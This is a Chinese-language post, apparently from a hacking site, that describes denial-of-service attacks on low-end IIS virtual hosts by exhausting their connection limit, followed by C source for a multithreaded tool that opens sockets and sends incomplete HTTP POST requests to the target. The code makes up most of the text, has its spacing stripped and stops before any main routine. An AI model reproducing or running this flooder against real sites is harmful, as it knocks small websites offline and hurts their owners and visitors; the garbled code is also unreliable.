安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!
最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议ContentLenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:
#include"winsock.h"
#include"stdio.h"
#include"string.h"
#include"io.h"
#pragmacomment(lib,"ws2_32.lib")
#defineBUFLEN1024
#defineMAXThreadCount10//设置最大线程数
intThreadCount=0;
structmydata
{
char*ip;
intport;
};
unsignedintresolve(char*name)
{
structhostent*he;
unsignedintip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return0;
memcpy(&ip,he->h_addr,4);
}
returnip;
}
DWORDWINAPIDos(LPVOIDlpParam)
{
mydata*csdn=(mydata*)lpParam;
structsockaddr_inserver;
server.sin_family=AF_INET;
server.sin_port=htons(csdn->port);
server.sin_addr.s_addr=resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{
printf("Dontfindaddress%sn",(char*)csdn->ip);
exit(0);
}
intmy;
charbuf[100]="POST/HTTP/1.1rnHost:";
strcat(buf,(char*)csdn->ip);
strcat(buf,"rnContent-Length:10rnrn");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(structsockaddr*)&server,sizeof(server))==SOCKET_ERROR)
{
printf("SocketERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:sendfail!");}
ThreadCount--;
return0;
}
voidthread(char*a1,char*a2,char*a3)
{
staticmydatatmp;
tmp.ip=a1;
tmp.port=atoi(a2);
DWORDdwThreadId;
HANDLEhThread;
WSADATAws;
if(WSAStartup(MAKEWORD(2,2),&ws)!=0)
{
printf("[-]WSAStartup()errorn");
exit(0);
}
hThread=CreateThread(
NULL,//nosecurityattributes
0,//usedefaultstacksize
Dos,//threadfunction
&tmp,//argumenttothreadfunction
0,//usedefaultcreationflags
&dwThreadId);//returnsthethreadidentifier
if(hThread==NULL)
printf("CreateThreadfailed.");
ThreadCount++;
Sleep(200);//延时,否则CPU会用满……
CloseHandle(hThread);
}